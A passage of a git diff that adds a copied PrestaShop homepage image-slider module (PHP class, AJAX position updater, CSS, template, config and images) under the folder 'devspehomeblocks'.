$row) + { + $current_slide = new HomeSlide($row['id_slide']); + --$current_slide->position; + $current_slide->update(); + unset($current_slide); + } + + return true; + } + +} diff --git a/devspehomeblocks/ajax_homeslider.php b/devspehomeblocks/ajax_homeslider.php new file mode 100755 index 0000000..00f9946 --- /dev/null +++ b/devspehomeblocks/ajax_homeslider.php @@ -0,0 +1,53 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include_once('../../config/config.inc.php'); +include_once('../../init.php'); +include_once('homeslider.php'); + +$context = Context::getContext(); +$home_slider = new HomeSlider(); +$slides = array(); + +if (!Tools::isSubmit('secure_key') || Tools::getValue('secure_key') != $home_slider->secure_key || !Tools::getValue('action')) + die(1); + +if (Tools::getValue('action') == 'updateSlidesPosition' && Tools::getValue('slides')) +{ + + $slides = Tools::getValue('slides'); + + foreach ($slides as $position => $id_slide) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'homeslider_slides` SET `position` = '.(int)$position.' + WHERE `id_homeslider_slides` = '.(int)$id_slide + ); + + } + + $home_slider->clearCache(); +} + diff --git a/devspehomeblocks/bx_styles.css b/devspehomeblocks/bx_styles.css new file mode 100755 index 0000000..0b80c9a --- /dev/null +++ b/devspehomeblocks/bx_styles.css @@ -0,0 +1,103 @@ +/* @override http://localhost/bxslider_v3_plugin/css/styles.css */ + +/* + * To change the color scheme of slider change each + * background property for each of the five styles below + */ + +.bx-window {margin-bottom:20px;} +.bx-wrapper { + margin-bottom:20px; + height:300px +} + +/*next button*/ +.bx-next { + display:block; + float:left; + position:absolute; + top:0; + right:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_next.png) no-repeat center center; +} + +/*previous button*/ + +.bx-prev { + display:block; + float:left; + position:absolute; + top:0; + left:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_prev.png) no-repeat center center; +} + +/*pager links*/ +.bx-pager { + position: absolute; + bottom: 20px; + bottom:40px !ie;/* hack ie7 */ + right: 15px; + padding-top: 7px; + font-size:11px; + color:#666; + text-align:center; +} +.bx-pager a { + display:inline-block; + zoom:1; + margin-right: 5px; + padding:4px 0 0 1px; + height:16px;/* 19 */ + width:18px;/* 19 */ + font-weight:bold; + font-size: 11px; + color:#000; + text-decoration:none; + background:url(gray_pager.png) no-repeat 0 -20px; +} + +/* + * End color scheme styles + */ + + +/*next/prev button hover state*/ +.bx-next:hover, +.bx-prev:hover { +} + +/*pager links hover and active states*/ +.bx-pager .pager-active, +.bx-pager a:hover { + color:#fff; + text-decoration:none; + background-position: 0 0; +} + +/*captions*/ +.bx-captions { + text-align:center; + font-size: 12px; + padding: 7px 0; + color: #666; +} + +/*auto controls*/ +.bx-auto { + text-align: center; + padding-top: 15px; +} + +.bx-auto a { + color: #666; + font-size: 12px; +} diff --git a/devspehomeblocks/config.xml b/devspehomeblocks/config.xml new file mode 100755 index 0000000..4e419f2 --- /dev/null +++ b/devspehomeblocks/config.xml @@ -0,0 +1,12 @@ + + + homeslider + + + + + + 1 + 0 + + \ No newline at end of file diff --git a/devspehomeblocks/gray_next.png b/devspehomeblocks/gray_next.png new file mode 100755 index 0000000..0f627e7 Binary files /dev/null and b/devspehomeblocks/gray_next.png differ diff --git a/devspehomeblocks/gray_next0.png b/devspehomeblocks/gray_next0.png new file mode 100755 index 0000000..f7e93ee Binary files /dev/null and b/devspehomeblocks/gray_next0.png differ diff --git a/devspehomeblocks/gray_pager.png b/devspehomeblocks/gray_pager.png new file mode 100755 index 0000000..f4780d2 Binary files /dev/null and b/devspehomeblocks/gray_pager.png differ diff --git a/devspehomeblocks/gray_prev.png b/devspehomeblocks/gray_prev.png new file mode 100755 index 0000000..a7bfa9a Binary files /dev/null and b/devspehomeblocks/gray_prev.png differ diff --git a/devspehomeblocks/gray_prev0.png b/devspehomeblocks/gray_prev0.png new file mode 100755 index 0000000..6091650 Binary files /dev/null and b/devspehomeblocks/gray_prev0.png differ diff --git a/devspehomeblocks/homeslider.php b/devspehomeblocks/homeslider.php new file mode 100755 index 0000000..3adf3d8 --- /dev/null +++ b/devspehomeblocks/homeslider.php @@ -0,0 +1,799 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + * @version 1.2 (2012-03-14) + */ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_MODULE_DIR_.'homeslider/HomeSlide.php'); + +class HomeSlider extends Module +{ + private $_html = ''; + + public function __construct() + { + $this->name = 'homeslider'; + $this->tab = 'front_office_features'; + $this->version = '1.2.1'; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + $this->displayName = $this->l('Image slider for your homepage.'); + $this->description = $this->l('Adds an image slider to your homepage.'); + } + + /** + * @see Module::install() + */ + public function install() + { + /* Adds Module */ + if (parent::install() && $this->registerHook('displayHome') && $this->registerHook('actionShopDataDuplication')) + { + /* Sets up configuration */ + $res = Configuration::updateValue('HOMESLIDER_WIDTH', '535'); + $res &= Configuration::updateValue('HOMESLIDER_HEIGHT', '300'); + $res &= Configuration::updateValue('HOMESLIDER_SPEED', '500'); + $res &= Configuration::updateValue('HOMESLIDER_PAUSE', '3000'); + $res &= Configuration::updateValue('HOMESLIDER_LOOP', '1'); + /* Creates tables */ + $res &= $this->createTables(); + + /* Adds samples */ + if ($res) + $this->installSamples(); + + return $res; + } + return false; + } + + /** + * Adds samples + */ + private function installSamples() + { + $languages = Language::getLanguages(false); + for ($i = 1; $i <= 5; ++$i) + { + $slide = new HomeSlide(); + $slide->position = $i; + $slide->active = 1; + foreach ($languages as $language) + { + $slide->title[$language['id_lang']] = 'Sample '.$i; + $slide->subtitle[$language['id_lang']] = 'Sous titre '.$i; + $slide->description[$language['id_lang']] = 'This is a sample picture'; + $slide->legend[$language['id_lang']] = 'sample-'.$i; + $slide->url[$language['id_lang']] = 'http://www.prestashop.com'; + $slide->image[$language['id_lang']] = 'sample-'.$i.'.jpg'; + } + $slide->add(); + } + } + + /** + * @see Module::uninstall() + */ + public function uninstall() + { + /* Deletes Module */ + if (parent::uninstall()) + { + /* Deletes tables */ + $res = $this->deleteTables(); + /* Unsets configuration */ + $res &= Configuration::deleteByName('HOMESLIDER_WIDTH'); + $res &= Configuration::deleteByName('HOMESLIDER_HEIGHT'); + $res &= Configuration::deleteByName('HOMESLIDER_SPEED'); + $res &= Configuration::deleteByName('HOMESLIDER_PAUSE'); + $res &= Configuration::deleteByName('HOMESLIDER_LOOP'); + return $res; + } + return false; + } + + /** + * Creates tables + */ + protected function createTables() + { + /* Slides */ + $res = (bool)Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'homeslider` ( + `id_homeslider_slides` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_homeslider_slides`, `id_shop`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* Slides configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'homeslider_slides` ( + `id_homeslider_slides` int(10) unsigned NOT NULL AUTO_INCREMENT, + `position` int(10) unsigned NOT NULL DEFAULT \'0\', + `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_homeslider_slides`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* Slides lang configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'homeslider_slides_lang` ( + `id_homeslider_slides` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `title` varchar(255) NOT NULL, + `subtitle` varchar(255) NOT NULL, + `description` text NOT NULL, + `legend` varchar(255) NOT NULL, + `url` varchar(255) NOT NULL, + `image` varchar(255) NOT NULL, + PRIMARY KEY (`id_homeslider_slides`,`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + return $res; + } + + /** + * deletes tables + */ + protected function deleteTables() + { + $slides = $this->getSlides(); + foreach ($slides as $slide) + { + $to_del = new HomeSlide($slide['id_slide']); + $to_del->delete(); + } + return Db::getInstance()->execute(' + DROP TABLE IF EXISTS `'._DB_PREFIX_.'homeslider`, `'._DB_PREFIX_.'homeslider_slides`, `'._DB_PREFIX_.'homeslider_slides_lang`; + '); + } + + public function getContent() + { + $this->_html .= $this->headerHTML(); + $this->_html .= '

'.$this->displayName.'.

'; + + /* Validate & process */ + if (Tools::isSubmit('submitSlide') || Tools::isSubmit('delete_id_slide') || + Tools::isSubmit('submitSlider') || + Tools::isSubmit('changeStatus')) + { + if ($this->_postValidation()) + $this->_postProcess(); + $this->_displayForm(); + } + elseif (Tools::isSubmit('addSlide') || (Tools::isSubmit('id_slide') && $this->slideExists((int)Tools::getValue('id_slide')))) + $this->_displayAddForm(); + else + $this->_displayForm(); + + return $this->_html; + } + + private function _displayForm() + { + /* Gets Slides */ + $slides = $this->getSlides(); + + /* Begin fieldset slider */ + $this->_html .= ' +
+ '.$this->l('Slider configuration').''; + /* Begin form */ + $this->_html .= '
'; + /* Height field */ + $this->_html .= ' + +
+ px +
'; + /* Width field */ + $this->_html .= ' + +
+ px +
'; + /* Speed field */ + $this->_html .= ' + +
+ ms +
'; + /* Pause field */ + $this->_html .= ' + +
+ ms +
'; + /* Loop field */ + $this->_html .= ' + +
+ Yes + + + No + + +
'; + /* Save */ + $this->_html .= ' +
+ +
'; + /* End form */ + $this->_html .= '
'; + /* End fieldset slider */ + $this->_html .= '
'; + + $this->_html .= '

'; + + /* Begin fieldset slides */ + $this->_html .= ' +
+ '.$this->l('Slides configuration').' + + + '.$this->l('Add Slide').' + + '; + + /* Display notice if there are no slides yet */ + if (!$slides) + $this->_html .= '

'.$this->l('You have not yet added any slides.').'

'; + else /* Display slides */ + { + $this->_html .= ' +
+
    '; + + foreach ($slides as $slide) + { + $this->_html .= ' +
  • + #'.$slide['id_slide'].' '.$slide['title'].' +

    '. + $this->displayStatus($slide['id_slide'], $slide['active']).' + + +

    +
  • '; + } + $this->_html .= '
'; + } + // End fieldset + $this->_html .= '
'; + } + + private function _displayAddForm() + { + /* Sets Slide : depends if edited or added */ + $slide = null; + if (Tools::isSubmit('id_slide') && $this->slideExists((int)Tools::getValue('id_slide'))) + $slide = new HomeSlide((int)Tools::getValue('id_slide')); + /* Checks if directory is writable */ + if (!is_writable('.')) + $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'image¤title¤subtitle¤url¤legend¤description'; + $this->_html .= ''; + + /* Form */ + $this->_html .= '
'; + + /* Fieldset Upload */ + $this->_html .= ' +
+
+ 1 - '.$this->l('Upload your slide').''; + /* Image */ + $this->_html .= '
'; + foreach ($languages as $language) + { + $this->_html .= '
'; + $this->_html .= ''; + /* Sets image as hidden in case it does not change */ + if ($slide && $slide->image[$language['id_lang']]) + $this->_html .= ''; + /* Display image */ + if ($slide && $slide->image[$language['id_lang']]) + $this->_html .= ''; + $this->_html .= '
'; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'image', true); + /* End Fieldset Upload */ + $this->_html .= '


'; + + /* Fieldset edit/add */ + $this->_html .= '
'; + if (Tools::isSubmit('addSlide')) /* Configure legend */ + $this->_html .= ' 2 - '.$this->l('Configure your slide').''; + elseif (Tools::isSubmit('id_slide')) /* Edit legend */ + $this->_html .= ' 2 - '.$this->l('Edit your slide').''; + /* Sets id slide as hidden */ + if ($slide && Tools::getValue('id_slide')) + $this->_html .= ''; + /* Sets position as hidden */ + $this->_html .= ''; + + /* Form content */ + /* Title */ + $this->_html .= '
'; + foreach ($languages as $language) + { + $this->_html .= ' +
+ +
'; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'title', true); + $this->_html .= '


'; + + /* Sub Title */ + $this->_html .= '
'; + foreach ($languages as $language) + { + $this->_html .= ' +
+ +
'; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'subtitle', true); + $this->_html .= '


'; + + + /* Description */ + $this->_html .= ' + +
'; + foreach ($languages as $language) + { + $this->_html .= '
+ +
'; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'description', true); + $this->_html .= '

'; + + + /* URL */ + $this->_html .= '
'; + foreach ($languages as $language) + { + $this->_html .= ' +
+ +
'; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'url', true); + $this->_html .= '


'; + + /* Legend */ + $this->_html .= '
'; + foreach ($languages as $language) + { + $this->_html .= ' +
+ +
'; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'legend', true); + $this->_html .= '


'; + + /* Active */ + $this->_html .= ' + +
+ Yes + active) && (int)$slide->active == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + active) && (int)$slide->active == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
'; + + /* Save */ + $this->_html .= ' +

+ + '.$this->l('Cancel').' +

'; + + /* End of fieldset & form */ + $this->_html .= ' +

*'.$this->l('Required fields').'

+
+
'; + } + + private function _postValidation() + { + $errors = array(); + + /* Validation for Slider configuration */ + if (Tools::isSubmit('submitSlider')) + { + + if (!Validate::isInt(Tools::getValue('HOMESLIDER_SPEED')) || !Validate::isInt(Tools::getValue('HOMESLIDER_PAUSE')) || + !Validate::isInt(Tools::getValue('HOMESLIDER_WIDTH')) || !Validate::isInt(Tools::getValue('HOMESLIDER_HEIGHT'))) + $errors[] = $this->l('Invalid values'); + } /* Validation for status */ + elseif (Tools::isSubmit('changeStatus')) + { + if (!Validate::isInt(Tools::getValue('id_slide'))) + $errors[] = $this->l('Invalid slide'); + } + /* Validation for Slide */ + elseif (Tools::isSubmit('submitSlide')) + { + /* Checks state (active) */ + if (!Validate::isInt(Tools::getValue('active_slide')) || (Tools::getValue('active_slide') != 0 && Tools::getValue('active_slide') != 1)) + $errors[] = $this->l('Invalid slide state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid slide position'); + /* If edit : checks id_slide */ + if (Tools::isSubmit('id_slide')) + { + if (!Validate::isInt(Tools::getValue('id_slide')) && !$this->slideExists(Tools::getValue('id_slide'))) + $errors[] = $this->l('Invalid id_slide'); + } + /* Checks title/url/legend/description/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + if (Tools::strlen(Tools::getValue('title_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The title is too long.'); + if (Tools::strlen(Tools::getValue('subtitle_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The subtitle is too long.'); + if (Tools::strlen(Tools::getValue('legend_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The legend is too long.'); + if (Tools::strlen(Tools::getValue('url_'.$language['id_lang'])) > 255) + $errors[] = $this->l('The URL is too long.'); + if (Tools::strlen(Tools::getValue('description_'.$language['id_lang'])) > 4000) + $errors[] = $this->l('The description is too long.'); + if (Tools::strlen(Tools::getValue('url_'.$language['id_lang'])) > 0 && !Validate::isUrl(Tools::getValue('url_'.$language['id_lang']))) + $errors[] = $this->l('The URL format is not correct.'); + if (Tools::getValue('image_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_'.$language['id_lang']))) + $errors[] = $this->l('Invalid filename'); + if (Tools::getValue('image_old_'.$language['id_lang']) != null && !Validate::isFileName(Tools::getValue('image_old_'.$language['id_lang']))) + $errors[] = $this->l('Invalid filename'); + } + + /* Checks title/url/legend/description for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + if (Tools::strlen(Tools::getValue('title_'.$id_lang_default)) == 0) + $errors[] = $this->l('The title is not set.'); + if (Tools::strlen(Tools::getValue('subtitle_'.$id_lang_default)) == 0) + $errors[] = $this->l('The title is not set.'); + if (Tools::strlen(Tools::getValue('legend_'.$id_lang_default)) == 0) + $errors[] = $this->l('The legend is not set.'); + if (Tools::strlen(Tools::getValue('url_'.$id_lang_default)) == 0) + $errors[] = $this->l('The URL is not set.'); + if (!Tools::isSubmit('has_picture') && (!isset($_FILES['image_'.$id_lang_default]) || empty($_FILES['image_'.$id_lang_default]['tmp_name']))) + $errors[] = $this->l('The image is not set.'); + if (Tools::getValue('image_old_'.$id_lang_default) && !Validate::isFileName(Tools::getValue('image_old_'.$id_lang_default))) + $errors[] = $this->l('The image is not set.'); + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_slide') && (!Validate::isInt(Tools::getValue('delete_id_slide')) || !$this->slideExists((int)Tools::getValue('delete_id_slide')))) + $errors[] = $this->l('Invalid id_slide'); + + /* Display errors if needed */ + if (count($errors)) + { + $this->_html .= $this->displayError(implode('
', $errors)); + return false; + } + + /* Returns if validation is ok */ + return true; + } + + private function _postProcess() + { + $errors = array(); + + /* Processes Slider */ + if (Tools::isSubmit('submitSlider')) + { + $res = Configuration::updateValue('HOMESLIDER_WIDTH', (int)Tools::getValue('HOMESLIDER_WIDTH')); + $res &= Configuration::updateValue('HOMESLIDER_HEIGHT', (int)Tools::getValue('HOMESLIDER_HEIGHT')); + $res &= Configuration::updateValue('HOMESLIDER_SPEED', (int)Tools::getValue('HOMESLIDER_SPEED')); + $res &= Configuration::updateValue('HOMESLIDER_PAUSE', (int)Tools::getValue('HOMESLIDER_PAUSE')); + $res &= Configuration::updateValue('HOMESLIDER_LOOP', (int)Tools::getValue('HOMESLIDER_LOOP')); + $this->clearCache(); + if (!$res) + $errors[] = $this->displayError($this->l('The configuration could not be updated.')); + $this->_html .= $this->displayConfirmation($this->l('Configuration updated')); + } /* Process Slide status */ + elseif (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_slide')) + { + $slide = new HomeSlide((int)Tools::getValue('id_slide')); + if ($slide->active == 0) + $slide->active = 1; + else + $slide->active = 0; + $res = $slide->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes Slide */ + elseif (Tools::isSubmit('submitSlide')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_slide')) + { + $slide = new HomeSlide((int)Tools::getValue('id_slide')); + if (!Validate::isLoadedObject($slide)) + { + $this->_html .= $this->displayError($this->l('Invalid id_slide')); + return; + } + } + else + $slide = new HomeSlide(); + /* Sets position */ + $slide->position = (int)Tools::getValue('position'); + /* Sets active */ + $slide->active = (int)Tools::getValue('active_slide'); + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $slide->title[$language['id_lang']] = Tools::getValue('title_'.$language['id_lang']); + $slide->subtitle[$language['id_lang']] = Tools::getValue('subtitle_'.$language['id_lang']); + $slide->url[$language['id_lang']] = Tools::getValue('url_'.$language['id_lang']); + $slide->legend[$language['id_lang']] = Tools::getValue('legend_'.$language['id_lang']); + $slide->description[$language['id_lang']] = Tools::getValue('description_'.$language['id_lang']); + + /* Uploads image and sets slide */ + $type = strtolower(substr(strrchr($_FILES['image_'.$language['id_lang']]['name'], '.'), 1)); + $imagesize = array(); + $imagesize = @getimagesize($_FILES['image_'.$language['id_lang']]['tmp_name']); + if (isset($_FILES['image_'.$language['id_lang']]) && + isset($_FILES['image_'.$language['id_lang']]['tmp_name']) && + !empty($_FILES['image_'.$language['id_lang']]['tmp_name']) && + !empty($imagesize) && + in_array(strtolower(substr(strrchr($imagesize['mime'], '/'), 1)), array('jpg', 'gif', 'jpeg', 'png')) && + in_array($type, array('jpg', 'gif', 'jpeg', 'png'))) + { + $temp_name = tempnam(_PS_TMP_IMG_DIR_, 'PS'); + $salt = sha1(microtime()); + if ($error = ImageManager::validateUpload($_FILES['image_'.$language['id_lang']])) + $errors[] = $error; + elseif (!$temp_name || !move_uploaded_file($_FILES['image_'.$language['id_lang']]['tmp_name'], $temp_name)) + return false; + elseif (!ImageManager::resize($temp_name, dirname(__FILE__).'/images/'.Tools::encrypt($_FILES['image_'.$language['id_lang']]['name'].$salt).'.'.$type, null, null, $type)) + $errors[] = $this->displayError($this->l('An error occurred during the image upload process.')); + if (isset($temp_name)) + @unlink($temp_name); + $slide->image[$language['id_lang']] = Tools::encrypt($_FILES['image_'.($language['id_lang'])]['name'].$salt).'.'.$type; + } + elseif (Tools::getValue('image_old_'.$language['id_lang']) != '') + $slide->image[$language['id_lang']] = Tools::getValue('image_old_'.$language['id_lang']); + } + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_slide')) + { + if (!$slide->add()) + $errors[] = $this->displayError($this->l('The slide could not be added.')); + } + /* Update */ + elseif (!$slide->update()) + $errors[] = $this->displayError($this->l('The slide could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_slide')) + { + $slide = new HomeSlide((int)Tools::getValue('delete_id_slide')); + $res = $slide->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('Slide deleted')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
', $errors)); + elseif (Tools::isSubmit('submitSlide') && Tools::getValue('id_slide')) + $this->_html .= $this->displayConfirmation($this->l('Slide updated')); + elseif (Tools::isSubmit('submitSlide')) + $this->_html .= $this->displayConfirmation($this->l('Slide added')); + } + + private function _prepareHook() + { + if (!$this->isCached('homeslider.tpl', $this->getCacheId())) + { + $slider = array( + 'width' => Configuration::get('HOMESLIDER_WIDTH'), + 'height' => Configuration::get('HOMESLIDER_HEIGHT'), + 'speed' => Configuration::get('HOMESLIDER_SPEED'), + 'pause' => Configuration::get('HOMESLIDER_PAUSE'), + 'loop' => Configuration::get('HOMESLIDER_LOOP'), + ); + + $slides = $this->getSlides(true); + if (!$slides) + return false; + + $this->smarty->assign('homeslider_slides', $slides); + $this->smarty->assign('homeslider', $slider); + } + + return true; + } + + public function hookDisplayHome() + { + if(!$this->_prepareHook()) + return; + + // Check if not a mobile theme + if ($this->context->getMobileDevice() != false) + return false; + + $this->context->controller->addJS($this->_path.'js/jquery.bxSlider.min.js'); + $this->context->controller->addCSS($this->_path.'bx_styles.css'); + $this->context->controller->addJS($this->_path.'js/homeslider.js'); + return $this->display(__FILE__, 'homeslider.tpl', $this->getCacheId()); + } + + public function clearCache() + { + $this->_clearCache('homeslider.tpl'); + } + + public function hookActionShopDataDuplication($params) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'homeslider (id_homeslider_slides, id_shop) + SELECT id_homeslider_slides, '.(int)$params['new_id_shop'].' + FROM '._DB_PREFIX_.'homeslider + WHERE id_shop = '.(int)$params['old_id_shop']); + $this->clearCache(); + } + + public function headerHTML() + { + if (Tools::getValue('controller') != 'AdminModules' && Tools::getValue('configure') != $this->name) + return; + + $this->context->controller->addJqueryUI('ui.sortable'); + /* Style & js for fieldset 'slides configuration' */ + $html = ' + + + '; + + return $html; + } + + public function getNextPosition() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'homeslider_slides` hss, `'._DB_PREFIX_.'homeslider` hs + WHERE hss.`id_homeslider_slides` = hs.`id_homeslider_slides` AND hs.`id_shop` = '.(int)$this->context->shop->id + ); + + return (++$row['next_position']); + } + + public function getSlides($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_homeslider_slides` as id_slide, + hssl.`image`, + hss.`position`, + hss.`active`, + hssl.`title`, + hssl.`subtitle`, + hssl.`url`, + hssl.`legend`, + hssl.`description` + FROM '._DB_PREFIX_.'homeslider hs + LEFT JOIN '._DB_PREFIX_.'homeslider_slides hss ON (hs.id_homeslider_slides = hss.id_homeslider_slides) + LEFT JOIN '._DB_PREFIX_.'homeslider_slides_lang hssl ON (hss.id_homeslider_slides = hssl.id_homeslider_slides) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' ').' + ORDER BY hss.position'); + } + + public function displayStatus($id_slide, $active) + { + $title = ((int)$active == 0 ? $this->l('Disabled') : $this->l('Enabled')); + $img = ((int)$active == 0 ? 'disabled.gif' : 'enabled.gif'); + $html = ''; + return $html; + } + + public function slideExists($id_slide) + { + $req = 'SELECT hs.`id_homeslider_slides` as id_slide + FROM `'._DB_PREFIX_.'homeslider` hs + WHERE hs.`id_homeslider_slides` = '.(int)$id_slide; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } +} diff --git a/devspehomeblocks/homeslider.tpl b/devspehomeblocks/homeslider.tpl new file mode 100755 index 0000000..3d7cf4b --- /dev/null +++ b/devspehomeblocks/homeslider.tpl @@ -0,0 +1,65 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{if isset($homeslider)} + +{/if} +{if isset($homeslider_slides)} + +{/if} + diff --git a/devspehomeblocks/images/26cb2cc89f02abbaa7fdd2af3b7d3d20.png b/devspehomeblocks/images/26cb2cc89f02abbaa7fdd2af3b7d3d20.png new file mode 100755 index 0000000..bd9b801 Binary files /dev/null and b/devspehomeblocks/images/26cb2cc89f02abbaa7fdd2af3b7d3d20.png differ diff --git a/devspehomeblocks/images/35772db50c47a3b94e13d4d91a88e500.jpg b/devspehomeblocks/images/35772db50c47a3b94e13d4d91a88e500.jpg new file mode 100755 index 0000000..891e385 Binary files /dev/null and b/devspehomeblocks/images/35772db50c47a3b94e13d4d91a88e500.jpg differ diff --git a/devspehomeblocks/images/4fb549e1e8727a20c8c101e66fca49f3.jpg b/devspehomeblocks/images/4fb549e1e8727a20c8c101e66fca49f3.jpg new file mode 100755 index 0000000..bd9bcab Binary files /dev/null and b/devspehomeblocks/images/4fb549e1e8727a20c8c101e66fca49f3.jpg differ diff --git a/devspehomeblocks/images/765239e6529e9c04eaadb540db7260a4.png b/devspehomeblocks/images/765239e6529e9c04eaadb540db7260a4.png new file mode 100755 index 0000000..ff96f42 Binary files /dev/null and b/devspehomeblocks/images/765239e6529e9c04eaadb540db7260a4.png differ diff --git a/devspehomeblocks/images/8506976c7391684391b6b5d609c87aab.png b/devspehomeblocks/images/8506976c7391684391b6b5d609c87aab.png new file mode 100755 index 0000000..174cbe6 Binary files /dev/null and b/devspehomeblocks/images/8506976c7391684391b6b5d609c87aab.png differ diff --git a/devspehomeblocks/images/a884d5e166366b1775086867c7f4519b.jpg b/devspehomeblocks/images/a884d5e166366b1775086867c7f4519b.jpg new file mode 100755 index 0000000..d597a08 Binary files /dev/null and b/devspehomeblocks/images/a884d5e166366b1775086867c7f4519b.jpg differ diff --git a/devspehomeblocks/images/c893ad28dbc89a40d3edd4c63173cffe.png b/devspehomeblocks/images/c893ad28dbc89a40d3edd4c63173cffe.png new file mode 100755 index 0000000..bd9b801 Binary files /dev/null and b/devspehomeblocks/images/c893ad28dbc89a40d3edd4c63173cffe.png differ diff --git a/devspehomeblocks/images/df185dbacafdac213bb8d9837001d6e6.jpg b/devspehomeblocks/images/df185dbacafdac213bb8d9837001d6e6.jpg new file mode 100755 index 0000000..26ba710 Binary files /dev/null and b/devspehomeblocks/images/df185dbacafdac213bb8d9837001d6e6.jpg differ diff --git a/devspehomeblocks/images/index.php b/devspehomeblocks/images/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/devspehomeblocks/images/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/devspehomeblocks/images/sample-1.jpg b/devspehomeblocks/images/sample-1.jpg new file mode 100755 index 0000000..883636a Binary files /dev/null and b/devspehomeblocks/images/sample-1.jpg differ diff --git a/devspehomeblocks/images/sample-2.jpg b/devspehomeblocks/images/sample-2.jpg new file mode 100755 index 0000000..5c0b803 Binary files /dev/null and b/devspehomeblocks/images/sample-2.jpg differ diff --git a/devspehomeblocks/images/sample-3.jpg 